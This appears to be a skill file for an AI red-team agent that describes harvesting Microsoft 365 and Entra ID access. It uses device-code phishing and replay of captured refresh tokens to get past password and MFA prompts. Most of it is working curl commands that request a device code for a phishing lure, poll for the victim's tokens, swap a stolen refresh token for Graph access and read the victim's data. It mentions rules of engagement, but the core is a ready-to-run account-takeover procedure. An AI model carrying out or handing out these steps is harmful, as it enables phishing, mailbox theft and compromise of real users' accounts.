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o365-credential-harvest

DevOps & Security
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Harvest and replay O365 / Entra ID access via the OAuth device-code flow and captured tokens (TokenTactics-style), skipping the password + MFA prompts.

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Source SKILL.md: https://github.com/PurpleAILAB/Decepticon/blob/HEAD/packages/decepticon/decepticon/skills/standard/phisher/o365-credential-harvest/SKILL.md

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O365 / Entra Credential & Token Harvest

Two Microsoft-identity initial-access paths that avoid a fake password page: the device-code flow and token replay. Both are favored because the victim authenticates on the genuine Microsoft endpoint.

Device-code flow

The attacker requests a device code; the victim is social-engineered to enter it at the real microsoft.com/devicelogin. After they complete sign-in (MFA included), the attacker polls and receives access + refresh tokens.

TENANT=common
CLIENT=d3590ed6-52b3-4102-aeff-aad2292ab01c   # Office client id (example)
# 1. request a device code
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/devicecode \
  -d "client_id=$CLIENT&scope=https://graph.microsoft.com/.default offline_access" | tee dc.json
# -> user_code + verification_uri go into the lure ("enter this code at ...")
# 2. poll for the token after the victim signs in
DC=$(jq -r .device_code dc.json)
curl -s https://login.microsoftonline.com/$TENANT/oauth2/v2.0/token \
  -d "grant_type=urn:ietf:params:oauth:grant-type:device_code&client_id=$CLIENT&device_code=$DC"

Token replay (TokenTactics pattern)

A refresh token captured here (or via evilginx2-proxy) is exchanged for access tokens against Graph, Outlook, SharePoint, Teams — each a distinct resource scope — without re-auth.

RT=<captured-refresh-token>
curl -s https://login.microsoftonline.com/common/oauth2/v2.0/token \
  -d "grant_type=refresh_token&client_id=$CLIENT&refresh_token=$RT&scope=https://graph.microsoft.com/.default"
# use the returned access_token: Authorization: Bearer <token> against graph.microsoft.com

Validate

A token is interesting; a Graph call returning the victim's mailbox / directory data is the finding: curl -s -H "Authorization: Bearer $AT" https://graph.microsoft.com/v1.0/me.

Evidence

Tokens → Credential nodes (type oauth-token, with scope + expiry) linked to the User node. Store ONLY under evidence/phisher/ + the knowledge graph.

RoE / OPSEC

  • Device-code lures still require the lure-deconfliction handshake.
  • Refresh tokens are long-lived — record the expiry and treat them as the most sensitive artifact in the engagement.
  • NEVER read more mailbox/Graph data than the objective requires; abide by plan/roe.json:data_handling.